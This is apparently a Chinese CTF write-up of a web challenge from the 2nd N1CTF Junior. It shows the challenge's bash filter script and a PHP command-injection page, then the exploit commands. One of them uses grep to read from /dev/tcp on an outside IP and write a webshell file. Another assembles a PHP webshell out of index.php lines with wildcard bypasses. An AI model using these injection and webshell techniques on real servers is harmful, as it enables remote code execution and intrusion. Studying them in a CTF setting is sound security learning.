第二届N1CTF Junior-Web

第二届N1CTF-Junior 复现

前言

好好好,又爆零,最简单的都弄不出来,废了

zako

Lolita大佬出的题

image-20240206231404532

image-20240206231507994

#!/bin/bash

reject(){
    echo ${1}
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" \
'BEGIN{
    deny="`;&$(){}[]!@#$%^&*-";
    for(i = 1; i <= length(str); i++){
        char = substr(str, i, 1);

        for(x = 1; x < length(deny)+1; x++){
            r = substr(deny, x, 1);
            if(char == r) exit 1;
        }
    }
}'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "鏉傞奔鉂鏉傞奔鉂";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num=1;
    for(i=1; i<=NF; i++){
        for(x=1; x<=length(allows); x++){
            cmpstr = substr($i, 1, length(allows[x]));
            if(cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}END{
    for(i=1; i<=length(eval_cmd); i++) {
        if(i!=1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'`

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"


eval ${eval_cmd}

sh文件限制了只能使用

ls
wc   查看文件长度
grep  能读取文件

那这一看就要逃逸嘛,然后借助system执行命令

但是index.php藏起来的部分也有黑名单

给出出题人源代码

<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));


$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
    die("no, > 70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
    die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

fuzz一下有<>?

刚开始尝试出grep能读取出文件

image-20240206232721962

但是我就没后续了,我也没不知道<>有什么用

看了WP后得知用来写文件

出题人WP

grep "" < /dev/tcp/118.89.61.71/7777 > 1.php

监听后不是能命令执行,而是把我们输入的数据自动写入到1.php中

写一句话木马就行

最后访问1.php

Boogipop大佬做法

通过grep选择index.php中的内容写马

因为index被过滤了,使用?通配符

grep "<?php" inde?.php >> 3.php
grep "cmd " inde?.php >> 3.php

记得加个空格,不加空格会匹配到其他的

不加

image-20240206233504980

加空格

image-20240206233559995

grep "system" inde?.php >> 3.php

image-20240206233658543

image-20240206233717557

3.php就可以多命令执行了

image-20240206231348359


第二届N1CTF Junior-Web
https://zer0peach.github.io/2024/02/06/第二届N1CTF-Junior-Web/
作者
Zer0peach
发布于
2024年2月6日
许可协议